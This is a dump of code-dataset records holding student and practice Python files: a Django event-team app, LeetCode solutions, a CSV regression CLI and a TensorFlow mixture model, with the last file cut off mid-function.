main_menu():\n while(True):\n # a dict to switch between the user’s selections.\n menu_dict = {1: thx_single, 2: display_report, 3: thx_all, 4: equit}\n try:\n menu = int(input(\"Choose an action: \\n 1 - Send a Thank You to a single donor \\n 2 - Create a Report \\n 3 - Send letters to all donors. \\n 4 - Quit \\n : \"))\n menu_dict.get(menu)()\n except ValueError as e :\n print(\"** Warning: Please enter number **\")\n except TypeError as e:\n print(\"** Warning: Please enter valid menu (1 - 4) **\")\n\n return\n\nif __name__ == '__main__':\n main_menu()\n","sub_path":"students/Module06/mailroom4.py","file_name":"mailroom4.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"254543934","text":"# Program to tell whether a year is Leap Year or not.\n\nyear = int(input(\"Enter Year : \"))\nif (year > 0) and (year < 10000):\n if (year % 4 == 0 and year % 100 != 0) or (year % 400 == 0 and year % 100 == 0):\n print(year, \"is a Leap Year.\")\n else:\n print(year, \"is not a Leap Year.\")\nelse:\n print(\"Please Enter an appropriate value.\")","sub_path":"Python Projects/IBM Assignment 2/Leap Year.py","file_name":"Leap Year.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"361374221","text":"from django.shortcuts import render\nfrom .models import Room\n\n\ndef chat_room(request, label):\n # si no existe la sala con el nombre proporcionado, se crea.\n room, created = Room.objects.get_or_create(label=label)\n\n # mostramos los ultimos 50 mensajes\n messages = reversed(room.messages.order_by('timestamp')[:50])\n\n return render(request, \"index.html\", {\n 'room': room,\n 'messages': messages,\n })\n","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"598668748","text":"from django.urls import reverse_lazy\nfrom django.views.generic.edit import CreateView\nfrom django.contrib.auth.decorators import user_passes_test, login_required\nfrom django.shortcuts import render, redirect\nfrom .models import CustomUser, Team\nimport uuid\nimport requests\nfrom .forms import *\nfrom events.models import Event\nfrom django.shortcuts import get_object_or_404\nfrom django.core.mail import send_mail\nfrom django.contrib import messages\nfrom allauth.account.signals import user_signed_up\nfrom django.dispatch.dispatcher import receiver\n\n\nclass SignUpView(CreateView):\n form_class = CustomUserCreationForm\n success_url = reverse_lazy('login')\n template_name = 'signup.html'\n\n@login_required\ndef user_profile(request):\n types = ['technical', 'informal', 'workshop']\n categories = [] \n for type in types:\n if(request.user.events.filter(type=type).exists()):\n categories.append(type)\n events = {}\n for event in request.user.events.all():\n if (event.participation_type == 'team'):\n events[event.pk] = request.user.teams.get(event=event).name\n return render(request, 'profile.html', {'categories':categories, 'events' : events})\n\n@login_required\ndef make_ambassador(request):\n if(request.user.ambassador):\n return redirect('user_profile')\n else:\n request.user.ambassador = True\n request.user.invite_referral = 'CA' + str(uuid.uuid4().int)[:6]\n request.user.save()\n send_mail(\n 'Campus Ambassador Invite Referral Code',\n f'You have just registered as Campus Ambassador. Your invite referral code is {request.user.invite_referral}. You can share this code with your friends and invite them to the fest to get exciting benefits.',\n 'info.noreply@prometeo.com',\n [request.user.email],\n fail_silently=False,\n )\n messages.success(request, f'You have successfully become a Campus Ambassador. Your invite referral code is {request.user.invite_referral} which has also been sent to your registered email ID.')\n\n return redirect('user_profile')\n\n@login_required\ndef create_team(request, eventid):\n event = get_object_or_404(Event, pk=eventid)\n if(request.user.teams.filter(event=event).exists()):\n return redirect('event', event.type, event.pk)\n if request.method == 'POST':\n form = TeamCreationForm(request.POST)\n if form.is_valid():\n team = form.save(commit=False)\n team.id = 'PRO' + str(uuid.uuid4().int)[:6]\n team.leader = request.user\n team.event = event\n team.save()\n team.members.add(request.user)\n team.save()\n request.user.events.add(event)\n message = f'You have just created team \"{team.name}\" for the {event.type} event {event.name}. The team ID is {team.id}. Share this ID with your friends who can join your team using this ID.'\n send_mail(\n 'Team Details',\n message,\n 'info.noreply@prometeo.com',\n [request.user.email],\n fail_silently=False,\n )\n # form.save_m2m()\n return redirect('team_created', team.pk)\n else:\n form = TeamCreationForm()\n return render(request, 'create_team.html', {'form': form, 'event':event})\n\n@login_required\ndef join_team(request):\n if request.method == 'POST':\n form = TeamJoiningForm(request.POST)\n if form.is_valid():\n teamId = form.cleaned_data['teamId']\n if(Team.objects.filter(pk=teamId).exists()):\n team = Team.objects.get(pk=teamId)\n if request.user in team.members.all():\n form.add_error(None, 'You are already a member of this team')\n elif team.event in request.user.events.all():\n form.add_error(None, 'You have already registered for the event ' + team.event.name + ' from a different team')\n elif (team.members.all().count() >= team.event.max_team_size):\n form.add_error(None, 'Team is already full')\n else:\n response = redirect('join_team_confirm')\n response['Location'] += '?id=' + teamId\n return response\n \n else:\n form.add_error('teamId', 'No team with the given team ID exists')\n # form.save_m2m()\n \n else:\n form = TeamJoiningForm()\n return render(request, 'join_team.html', {'form': form})\n\ndef team_created(request, teamid):\n team = get_object_or_404(Team, id=teamid)\n return render(request, 'team_created.html', {'team' : team})\n\ndef join_team_confirm(request):\n teamId = request.GET['id']\n team = Team.objects.get(pk=teamId)\n if request.method == 'POST':\n team.members.add(request.user)\n team.save()\n request.user.events.add(team.event)\n messages.success(request, f\"Successfully joined team '{team.name}'.\")\n return redirect('event', team.event.type, team.event.pk)\n else:\n return render(request, 'join_team_confirm.html', {'team':team})\n\n@receiver(user_signed_up) \ndef user_signed_up_(request, user, **kwargs):\n if user.ambassador:\n send_mail(\n 'Campus Ambassador Invite Referral Code',\n f'You have just registered as Campus Ambassador. Your invite referral code is {user.invite_referral}. You can share this code with your friends and invite them to the fest to get exciting benefits.',\n 'info.noreply@prometeo.com',\n [user.email],\n fail_silently=False,\n )\n messages.success(request, f'Your Campus Ambassador invite referral code is {user.invite_referral} which has also been mailed to your registered email ID.')\n\n \n@login_required\ndef update_profile(request):\n if request.method == 'POST':\n form = UpdateProfileForm(request.POST, instance=request.user)\n if form.is_valid():\n # current_user = form.save(commit=False)\n # if (current_user.ambassador):\n # current_user.invite_referral = 'CA' + str(uuid.uuid4().int)[:6]\n # send_mail(\n # 'Campus Ambassador Invite Referral Code',\n # f'You have just registered as Campus Ambassador. Your invite referral code is {user.invite_referral}. You can share this code with your friends and invite them to the fest to get exciting benefits.',\n # 'info.noreply@prometeo.com',\n # [request.user.email],\n # fail_silently=False,\n # )\n # messages.success(request, 'Your Campus Ambassador invite referral code has been mailed to your registered email ID.')\n form.save()\n messages.success(request, 'Profile updated successfully.')\n return redirect('user_profile')\n else:\n form = UpdateProfileForm(instance=request.user)\n return render(request, 'update_profile.html', {'form': form})\n\n@login_required\ndef edit_team(request, teamid):\n team = get_object_or_404(Team, id=teamid)\n if(request.user != team.leader):\n messages.info(request, \"Only the team leader (creator) can edit the team details.\")\n return redirect('user_profile')\n elif(request.method == 'POST'):\n form = EditTeamForm(team, request.POST, instance=team)\n if(form.is_valid()):\n \n if(team.leader not in form.cleaned_data['members']):\n form.add_error('members', 'You cannot remove the leader (creator) of the team from the team.')\n else:\n form.save()\n for member in team.members.all():\n if member not in form.cleaned_data['members']:\n member.events.remove(team.event)\n messages.success(request, f\"The team details have been updated.\")\n return redirect('user_profile')\n else:\n form = EditTeamForm(team, instance=team)\n return render(request, 'edit_team.html', {'form':form, 'team':team})\n\n@login_required\ndef delete_team(request, teamid):\n team = get_object_or_404(Team, id=teamid)\n if(request.user != team.leader):\n messages.info(request, \"Only the team leader (creator) can delete the team.\")\n return redirect('user_profile')\n for member in team.members.all():\n member.events.remove(team.event)\n messages.success(request, f\"Successfully deleted team '{team.name}'.\")\n team.delete()\n return redirect('user_profile')","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"130313226","text":"# Time: O(l + q)\n# Space: O(l)\n\n# 1001\n# On a N x N grid of cells, each cell (x, y) with 0 <= x < N and 0 <= y < N has a lamp.\n#\n# Initially, some number of lamps are on. lamps[i] tells us the location of the i-th lamp that is on.\n# Each lamp that is on illuminates every square on its x-axis, y-axis, and both diagonals (similar to\n# a Queen in chess).\n#\n# For the i-th query queries[i] = (x, y), the answer to the query is 1 if the cell (x, y) is illuminated, else 0.\n#\n# After each query (x, y) [in the order given by queries], we turn off any lamps that are at cell (x, y)\n# or are adjacent 8-directionally (ie., share a corner or edge with cell (x, y).)\n#\n# Return an array of answers. Each value answer[i] should be equal to the answer of the i-th query queries[i].\n\n# 1 <= N <= 10^9\n# 0 <= lamps.length <= 20000\n# 0 <= queries.length <= 20000\n# lamps[i].length == queries[i].length == 2\n\nimport collections\n\n\nclass Solution(object):\n def gridIllumination(self, N, lamps, queries):\n \"\"\"\n :type N: int\n :type lamps: List[List[int]]\n :type queries: List[List[int]]\n :rtype: List[int]\n \"\"\"\n lookup = set()\n row = collections.defaultdict(int)\n col = collections.defaultdict(int)\n diag = collections.defaultdict(int)\n anti = collections.defaultdict(int)\n \n for r, c in lamps:\n lookup.add((r, c)) # convert list to set, otherwise TLE\n row[r] += 1\n col[c] += 1\n diag[r-c] += 1\n anti[r+c] += 1\n \n result = []\n for r, c in queries:\n if row[r] or col[c] or diag[r-c] or anti[r+c]:\n result.append(1)\n else:\n result.append(0)\n\n for dr in (-1, 0, 1):\n for dc in (-1, 0, 1):\n nr, nc = r+dr, c+dc\n if 0 <= nr < N and 0 <= nc < N and (nr, nc) in lookup:\n lookup.remove((nr, nc))\n row[nr] -= 1\n col[nc] -= 1\n diag[nr-nc] -= 1\n anti[nr+nc] -= 1\n return result\n\nprint(Solution().gridIllumination(5, [[0,0],[4,4]], [[1,1],[1,0]])) # [1, 0]","sub_path":"Python/grid-illumination.py","file_name":"grid-illumination.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"48723415","text":"from office.models import Room, Worker\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\nfrom office.serializers import ListRoomSerializer, \\\n RetrieveRoomSerializer, \\\n ListWorkerSerializer, \\\n RetrieveWorkerSerializer, \\\n AddWorkerInRoomSerializer\nfrom office.filters import RoomsFilter\nfrom django_filters import rest_framework as filters\nfrom rest_framework.decorators import action\n# Create your views here.\n\n\nclass RoomView(\n viewsets.GenericViewSet,\n viewsets.mixins.ListModelMixin,\n viewsets.mixins.RetrieveModelMixin,\n viewsets.mixins.CreateModelMixin,\n viewsets.mixins.UpdateModelMixin\n):\n\n queryset = Room.objects.all()\n filter_backends = (filters.DjangoFilterBackend, )\n filterset_class = RoomsFilter\n default_serializer_class = ListRoomSerializer\n serializer_classes = {\n 'list': ListRoomSerializer,\n 'create': ListRoomSerializer,\n 'retrieve': RetrieveRoomSerializer,\n 'update': RetrieveRoomSerializer,\n 'add_worker_to_room': AddWorkerInRoomSerializer\n }\n\n def get_serializer_class(self):\n return self.serializer_classes.get(self.action, self.default_serializer_class)\n\n @action(detail=True, methods=['post'])\n def add_worker_to_room(self, request, pk):\n serializer = AddWorkerInRoomSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n room = Room.objects.get(pk=pk)\n message, creation_status = room.add_worker(\n serializer.validated_data['worker'],\n serializer.validated_data['date_of_beginning'],\n serializer.validated_data['date_of_ending']\n )\n return Response(data=message, status=creation_status)\n\n\nclass WorkerView(\n viewsets.GenericViewSet,\n viewsets.mixins.ListModelMixin,\n viewsets.mixins.RetrieveModelMixin,\n viewsets.mixins.CreateModelMixin,\n viewsets.mixins.UpdateModelMixin\n):\n\n queryset = Worker.objects.all()\n default_serializer_class = ListWorkerSerializer\n serializer_classes = {\n 'list': ListWorkerSerializer,\n 'create': ListWorkerSerializer,\n 'retrieve': RetrieveWorkerSerializer,\n 'update': ListWorkerSerializer\n }\n\n def get_serializer_class(self):\n return self.serializer_classes.get(self.action, self.default_serializer_class)\n","sub_path":"office/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"322898983","text":"# coding=utf-8\n\"\"\"Make a graph from a pair of columns in a CSV file, and analyze it.\"\"\"\nimport argparse\nimport csv\nfrom collections import namedtuple\n\nfrom movie_recommender.graph import Graph, Point\n\n\ndef main():\n \"\"\"Parse arguments and call business logic.\"\"\"\n args = parse_args()\n graph = Graph(tuple(get_points(\n args.input,\n Columns(args.x_column, args.y_column),\n header_rows=args.header_rows,\n )))\n print(f'y = {graph.slope:g} × x + {graph.y_intercept:g}')\n print(f'sse = {graph.sse:g}')\n\n\ndef parse_args():\n \"\"\"Parse CLI arguments.\"\"\"\n parser = argparse.ArgumentParser(\n description=\"\"\"\\\n Make a graph from a pair of columns in a CSV file, and analyze it.\n \"\"\",\n )\n parser.add_argument(\n 'input',\n type=argparse.FileType('r'),\n help=\"\"\"\\\n A CSV file describing a scatter plot, where each row describes one\n point. Each row must be in \"X,Y\" format, e.g. \"2,3.5\". If \"-\" is\n passed, values are read from stdin.\n \"\"\",\n )\n parser.add_argument(\n 'x_column',\n type=int,\n help='The index of the column to read in as the \"x\" value.',\n )\n parser.add_argument(\n 'y_column',\n type=int,\n help='The index of the column to read in as the \"y\" value.',\n )\n parser.add_argument(\n '--header-rows',\n type=int,\n default=0,\n help=\"\"\"\\\n The number of header rows in the input file. Header rows are ignored.\n Defaults to \"0\".\n \"\"\",\n )\n return parser.parse_args()\n\n\nColumns = namedtuple('Columns', ('x', 'y'))\n\"\"\"A pair of columns in a CSV file.\n\nIndices are zero-based. Given this CSV file::\n\n 0,1,2,3\n 10,11,12,13\n\nThen this object::\n\n Columns(x=0, y=3)\n\nReferences the values 0, 10, 3, and 13.\n\"\"\"\n\n\ndef get_points(input_stream, columns, *, header_rows=0):\n \"\"\"Consume an input stream, yielding an x,y point for each line.\n\n :param input_stream: A `text I/O`_ stream, where eacah line is CSV data in\n \"x,y\" format.\n :param Columns columns: The columns to read from the CSV file.\n :param header_rows: The number of header rows in the input file. Header\n rows are ignored.\n :returns: A generator yielding :class:`movie_recommender.graph.Point`\n instances.\n :raises: A ``TypeError`` if an input line doesn't have exactly two fields.\n\n .. _text I/O: https://docs.python.org/3/library/io.html#text-i-o\n \"\"\"\n current_line = 0\n reader = csv.reader(input_stream)\n for row in reader:\n current_line += 1\n if current_line <= header_rows:\n continue\n x = float(row[columns.x])\n y = float(row[columns.y])\n yield Point(x, y)\n","sub_path":"python/movie-recommender/movie_recommender/cli/mr_graph.py","file_name":"mr_graph.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"309572532","text":"\"\"\"\n82. Remove Duplicates from Sorted List II\n\nGiven a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numbers from the original list.\n\nReturn the linked list sorted as well.\n\nExample 1:\n\nInput: 1->2->3->3->4->4->5\nOutput: 1->2->5\nExample 2:\n\nInput: 1->1->1->2->3\nOutput: 2->3\n\"\"\"\n\n\n\n\"\"\"\nanchor stays where on it's left there is only distinct numbers\n\"\"\"\nclass Solution:\n def deleteDuplicates(self, head: ListNode) -> ListNode:\n if not head or not head.next:\n return head\n \n slow, fast = head, head.next\n while fast:\n if fast.val != slow.val:\n slow = slow.next\n slow.val = fast.val\n fast = fast.next\n \n slow.next = None # 把anchor后面的都断开,因为后面的都是duplicated numbers\n \n return head\n","sub_path":"Solutions/0082.Remove-Duplicates-from-Sorted-List-II.py","file_name":"0082.Remove-Duplicates-from-Sorted-List-II.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"125258981","text":"\"\"\"\nFollow up for problem \"Populating Next Right Pointers in Each Node\".\n\nWhat if the given tree could be any binary tree? Would your previous solution still work?\n\nNote:\n\nYou may only use constant extra space.\nFor example,\nGiven the following binary tree,\n 1\n / \\\n 2 3\n / \\ \\\n 4 5 7\nAfter calling your function, the tree should look like:\n 1 -> NULL\n / \\\n 2 -> 3 -> NULL\n / \\ \\\n 4-> 5 -> 7 -> NULL\n\"\"\"\n\n# Definition for binary tree with next pointer.\n# class TreeLinkNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n# self.next = None\n\nclass Solution:\n # @param root, a tree link node\n # @return nothing\n def connect(self, root):\n #self.bfs(root)\n #self.dfs(root)\n self.iterative(root)\n \n #把下一层想做linkedlist, 用一个dummy为head头\n def iterative(self, root):\n if not root:\n return\n head = root\n while head:\n cur = head\n \n #set the next head to be None\n head = None\n \n #the start of the next layer\n dummy = TreeLinkNode(0)\n #link the next layer\n while cur:\n #get left and right linked\n if cur.left:\n if not head:\n head = cur.left\n dummy.next = cur.left\n dummy = dummy.next\n if cur.right:\n if not head:\n head =cur.right\n dummy.next =cur.right\n dummy = dummy.next\n cur = cur.next\n \n \n \n def dfs(self, root):\n if (not root) or (root.left==None and root.right==None):\n return\n if root.left:\n if root.right:\n root.left.next = root.right\n else:\n nei = root.next\n while nei:\n if nei.left:\n root.left.next = nei.left\n break\n if nei.right:\n root.left.next = nei.right\n break\n nei=nei.next\n if root.right:\n nei = root.next\n while nei:\n if nei.left:\n root.right.next = nei.left\n break\n if nei.right:\n root.right.next = nei.right\n break\n nei=nei.next\n \n #must start with root.right (必须把右边处理完)\n self.dfs(root.right) \n self.dfs(root.left) \n \n \n \n def bfs(self, root):\n if not root:\n return\n q = []\n q.append(root)\n while len(q)!=0:\n tmp = []\n for i in range(len(q)-1):\n q[i].next = q[i+1]\n if q[i].left:\n tmp.append(q[i].left)\n if q[i].right:\n tmp.append(q[i].right)\n q[-1].next = None\n if q[-1].left:\n tmp.append(q[-1].left)\n if q[-1].right:\n tmp.append(q[-1].right)\n q=tmp \n","sub_path":"117_Populating_Next_Right_Pointers_in_Each_Node_II.py","file_name":"117_Populating_Next_Right_Pointers_in_Each_Node_II.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"354852194","text":"from __future__ import absolute_import, division, print_function\nimport time\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.client import timeline\n\ndef current_milli_time():\n return int(round(time.time() * 1000))\n\n\nclass VStructure:\n def __init__(self, c, c2, k, l, a, current_layer):\n \"\"\"\n Multinomial mixture model\n :param c: the number of hidden states\n :param c2: the number of states of the \"children\"\n :param k: dimension of output's alphabet, which goes from 0 to K-1\n :param l: number of layers to consider. You must pass the appropriate number of statistics at training\n :param a: dimension of edges' alphabet, which goes from 0 to A-\n :param current_layer: used to save and restore the model\n \"\"\"\n self.current_layer = str(current_layer)\n\n c2 = c2 + 1 # always consider a bottom state also\n\n self.C = tf.constant(c)\n self.C2 = tf.constant(c2)\n self.K = tf.constant(k)\n self.L = tf.constant(l)\n self.A = tf.constant(a)\n self.smoothing = tf.constant(0.001) # Laplace smoothing\n self.emission, self.arcS, self.layerS, self.transition = self.initialize_parameters(c, c2, k, l, a)\n\n # ------------------------- Build the computation graph ------------------------- #\n\n k_float = tf.cast(self.K, tf.float32)\n l_float = tf.cast(self.L, tf.float32)\n a_float = tf.cast(self.A, tf.float32)\n c_float = tf.cast(self.C, tf.float32)\n\n self.labels = tf.placeholder(shape=[None, 1], dtype=tf.int32, name='labels')\n self.stats = tf.placeholder(shape=[None, l, a, c2], dtype=tf.float32, name='statistics')\n\n batch_size = tf.shape(self.labels)[0]\n\n # These are Variables where I accumulate intermediate minibatches' results\n # These are needed by the M-step update equations at the end of an epoch\n self.layerS_numerator = tf.Variable(initial_value=tf.fill([self.L], self.smoothing),\n name='levelS_num_acc')\n self.layerS_denominator = tf.Variable(initial_value=tf.fill([1], self.smoothing*l_float),\n name='levelS_den_acc')\n self.emission_numerator = tf.Variable(initial_value=tf.fill([self.K, self.C], self.smoothing),\n name='emission_num_acc')\n self.emission_denominator = tf.Variable(initial_value=tf.fill([1, self.C], self.smoothing*k_float),\n name='emission_den_acc')\n self.arcS_numerator = tf.Variable(initial_value=tf.fill([self.L, self.A], self.smoothing),\n name='arcS_num_acc')\n self.arcS_denominator = tf.Variable(initial_value=tf.fill([self.L, 1], self.smoothing*a_float),\n name='arcS_den_acc')\n self.transition_numerator = tf.Variable(\n initial_value=tf.fill([self.L, self.A, self.C, self.C2], self.smoothing), name='transition_num_acc')\n self.transition_denominator = tf.Variable(\n initial_value=tf.fill([self.L, self.A, 1, self.C2], self.smoothing*c_float), name='transition_den_acc')\n\n self.likelihood = tf.Variable(initial_value=[0.])\n\n self.initializing_likelihood_accumulators = tf.group(\n *[tf.assign(self.likelihood, [0.]),\n tf.assign(self.layerS_numerator, tf.fill([self.L], self.smoothing)),\n tf.assign(self.layerS_denominator, tf.fill([1], self.smoothing*l_float)),\n tf.assign(self.arcS_numerator, tf.fill([self.L, self.A], self.smoothing)),\n tf.assign(self.arcS_denominator, tf.fill([self.L, 1], self.smoothing*a_float)),\n tf.assign(self.transition_numerator, tf.fill([self.L, self.A, self.C, self.C2], self.smoothing)),\n tf.assign(self.transition_denominator, tf.fill([self.L, self.A, 1, self.C2], self.smoothing*c_float)),\n tf.assign(self.emission_numerator, tf.fill([self.K, self.C], self.smoothing)),\n tf.assign(self.emission_denominator, tf.fill([1, self.C], self.smoothing*k_float))\n ]\n )\n\n # Compute the neighbourhood dimension for each vertex\n neighbDim = tf.reduce_sum(self.stats[:, 0, :, :], axis=2) # --> ? x A\n\n # Replace zeros with ones to avoid divisions by zero\n # This does not alter learning: the numerator can still be zero\n neighbDim = tf.where(tf.equal(neighbDim, 0.), tf.ones(tf.shape(neighbDim)), neighbDim)\n\n # -------------------------------- E-step -------------------------------- #\n\n broadcastable_transition = tf.expand_dims(self.transition, axis=0) # --> 1 x L x A x C x C2\n broadcastable_stats = tf.expand_dims(self.stats, axis=3) # --> ? x L x A x 1 x C2\n\n tmp = tf.reduce_sum(tf.multiply(broadcastable_transition, broadcastable_stats), axis=4) # --> ? x L x A x C\n\n broadcastable_layerS = tf.expand_dims(self.layerS, 1) # --> L x 1\n\n tmp2 = tf.reshape(tf.multiply(broadcastable_layerS, self.arcS), [1, self.L, self.A, 1]) # --> 1 x L x A x 1\n \n div_neighb = tf.reshape(neighbDim, [batch_size, 1, self.A, 1]) # --> ? x 1 x A x 1\n\n posterior_estimate = tf.divide(tf.multiply(tmp, tmp2), div_neighb) # --> ? x L x A x C\n\n emission_for_labels = tf.gather_nd(self.emission, self.labels) # --> ? x C\n ''' See tf.gather_nd\n indices = [[1], [0]]\n params = [['a', 'b'], ['c', 'd']]\n output = [['c', 'd'], ['a', 'b']]\n '''\n tmp_emission = tf.reshape(emission_for_labels,\n [batch_size, 1, 1, self.C]) # --> ? x 1 x 1 x C\n\n posterior_estimate = tf.multiply(posterior_estimate, tmp_emission) # --> ? x L x A x C\n\n self.unnorm_posterior_ui = tf.reduce_sum(posterior_estimate, axis=[1, 2])\n\n # Normalize\n norm_constant = tf.reshape(tf.reduce_sum(posterior_estimate, axis=[1, 2, 3]), [batch_size, 1, 1, 1])\n norm_constant = tf.where(tf.equal(norm_constant, 0.), tf.ones(tf.shape(norm_constant)), norm_constant)\n\n posterior_estimate = tf.divide(posterior_estimate, norm_constant) # --> ? x L x A x C\n\n self.posterior_estimate = posterior_estimate\n\n posterior_uli = tf.reduce_sum(posterior_estimate, axis=2) # --> ? x L x C\n posterior_ui = tf.reduce_sum(posterior_uli, axis=1) # --> ? x C\n\n self.posterior_ui = posterior_ui\n\n # -------------------------------- M-step -------------------------------- #\n\n labels = tf.squeeze(self.labels) # removes dimensions of size 1 (current is ?x1)\n\n # These are equivalent to the multinomial mixture model, it just changes how the posterior is computed\n self.update_emission_num = tf.scatter_add(self.emission_numerator, labels, posterior_ui) # --> K x C\n self.update_emission_den = tf.assign_add(self.emission_denominator,\n [tf.reduce_sum(posterior_ui, axis=0)]) # --> 1 x C\n\n # Arc and layer selector must be updated AFTER they have been used to compute the new transition distr.\n new_arc_num = tf.reduce_sum(posterior_estimate, axis=[0, 3]) # --> L x A\n\n self.update_arcS_num = tf.assign_add(self.arcS_numerator, new_arc_num)\n self.update_arcS_den = tf.assign_add(self.arcS_denominator,\n tf.expand_dims(tf.reduce_sum(new_arc_num, axis=1), axis=1)) # --> L x 1\n\n new_layer_num = tf.reduce_sum(posterior_uli, axis=[0, 2]) # --> [L]\n\n self.update_layerS_num = tf.assign_add(self.layerS_numerator, new_layer_num)\n self.update_layerS_den = tf.assign_add(self.layerS_denominator, [tf.reduce_sum(new_layer_num)]) # --> [1]\n\n log_trans = tf.log(self.transition)\n\n # NOTE: these terms become expensive in terms of memory computation! A smaller batch may be required!\n # This is not a problem because we are not doing stochastic optimisations\n\n num = tf.divide(\n tf.multiply(self.transition,\n tf.multiply(tf.reshape(self.layerS, [self.L, 1, 1, 1]),\n tf.reshape(self.arcS, [self.L, self.A, 1, 1]))),\n tf.expand_dims(div_neighb, axis=4))\n\n num = tf.multiply(num, tf.reshape(emission_for_labels, [batch_size, 1, 1, self.C, 1]))\n num = tf.multiply(num, broadcastable_stats)\n\n den = tf.reduce_sum(num, keepdims=True, axis=[1, 2, 3, 4]) # --> ? x 1 x 1 x 1 x 1\n den = tf.where(tf.equal(den, 0.), tf.ones(tf.shape(den)), den)\n\n eulaij = tf.divide(num, den) # --> ? x L x A x C x C2\n\n new_trans_num = tf.reduce_sum(tf.multiply(eulaij, broadcastable_stats), axis=0)\n\n self.update_transition_num = tf.assign_add(self.transition_numerator, new_trans_num)\n self.update_transition_den = tf.assign_add(self.transition_denominator,\n tf.expand_dims(tf.reduce_sum(new_trans_num, axis=2),\n axis=2)) # --> L x A x 1 x C2\n\n # Compute the expected complete log likelihood\n self.likelihood1 = tf.reduce_sum(tf.multiply(posterior_ui, tf.log(emission_for_labels)))\n self.likelihood2 = tf.reduce_sum(np.multiply(posterior_uli, tf.log(broadcastable_layerS)))\n self.likelihood3 = tf.reduce_sum(np.multiply(posterior_estimate,\n tf.reshape(tf.log(self.arcS), [1, self.L, self.A, 1])))\n\n self.likelihood4 = tf.reduce_sum(tf.multiply(tf.multiply(eulaij, broadcastable_stats), log_trans))\n\n likelihood_sum = self.likelihood1 + self.likelihood2 + self.likelihood3 + self.likelihood4\n\n # self.compute_likelihood becomes an assign op\n self.compute_likelihood = tf.assign_add(self.likelihood, [likelihood_sum])\n\n self.update_emission = tf.assign(self.emission, tf.divide(self.emission_numerator, self.emission_denominator))\n self.update_transition = tf.assign(self.transition, tf.divide(self.transition_numerator,\n self.transition_denominator))\n self.update_arcS = tf.assign(self.arcS, tf.divide(self.arcS_numerator, self.arcS_denominator))\n self.update_layerS = tf.assign(self.layerS, tf.divide(self.layerS_numerator, self.layerS_denominator))\n\n # -------------------------------- Inference -------------------------------- #\n\n # NOTE: this is exactly the same formula as in MultinomialMixture, it changes how you compure the posterior\n self.inference = tf.cast(tf.argmax(self.unnorm_posterior_ui, axis=1), dtype=tf.int32)\n\n def initialize_parameters(self, c, c2, k, l, a):\n emission_dist = np.zeros((k, c))\n for i in range(0, c):\n em = np.random.uniform(size=k)\n em /= np.sum(em)\n emission_dist[:, i] = em\n\n arc_dist = np.zeros((l, a))\n for layer in range(0, l):\n dist = np.random.uniform(size=a)\n dist /= np.sum(dist)\n arc_dist[layer, :] = dist\n\n layer_dist = tf.random_uniform(shape=[l])\n layer_dist = layer_dist / tf.reduce_sum(layer_dist)\n\n transition_dist = np.zeros((l, a, c, c2))\n\n for layer in range(0, l):\n for arc in range(0, a):\n for j in range(0, c2):\n tr = np.random.uniform(size=c)\n transition_dist[layer, arc, :, j] = tr/np.sum(tr)\n\n emission = tf.Variable(initial_value=emission_dist, name='layer-' + self.current_layer + '-emission',\n dtype=tf.float32)\n arcS = tf.Variable(initial_value=arc_dist, name='layer-' + self.current_layer + '-arcSelector',\n dtype=tf.float32)\n layerS = tf.Variable(initial_value=layer_dist, name='layer-' + self.current_layer + '-layerSelector',\n dtype=tf.float32)\n transition = tf.Variable(initial_value=transition_dist, name='layer-' + self.current_layer + '-transition',\n dtype=tf.float32)\n\n return emission, arcS, layerS, transition\n\n def train(self, batch_dataset, batch_statistics, sess, threshold=0, max_epochs=10):\n \"\"\"\n Training with Expectation Maximisation (EM) Algorithm\n :param batch_dataset: the target labels all in a batch dataset\n :param batch_statistics: dataset of shape ? x L x A x C2\n :param sess: TensorFlow session\n :param threshold: stopping criterion based on the variation off the likelihood\n :param max_epochs: maximum number of epochs\n \"\"\"\n # EM Algorithm\n current_epoch = 0\n old_likelihood = - np.inf\n delta = np.inf\n\n dataset = tf.data.Dataset.zip((batch_dataset, batch_statistics))\n iterator = dataset.make_initializable_iterator()\n next_element = iterator.get_next()\n\n sess.run(tf.global_variables_initializer())\n \n #options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n #run_metadata = tf.RunMetadata()\n \n while current_epoch < max_epochs and delta > threshold:\n\n sess.run(iterator.initializer)\n\n # Reinitialize the likelihood\n sess.run([self.initializing_likelihood_accumulators])\n\n while True:\n try:\n batch, stats = sess.run(next_element)\n print(batch.shape, stats.shape)\n '''\n print(sess.run(\n [self.likelihood1, self.likelihood2, self.likelihood3, self.likelihood4],\n feed_dict={self.labels: batch, self.stats: stats}))\n '''\n\n # For batch in batches\n likelihood, _, _, _, _, _, _, _, _, = sess.run(\n [self.compute_likelihood,\n self.update_layerS_num, self.update_layerS_den,\n self.update_arcS_num, self.update_arcS_den,\n self.update_transition_num, self.update_transition_den,\n self.update_emission_num, self.update_emission_den],\n feed_dict={self.labels: batch, self.stats: stats}#,\n #options=options,\n 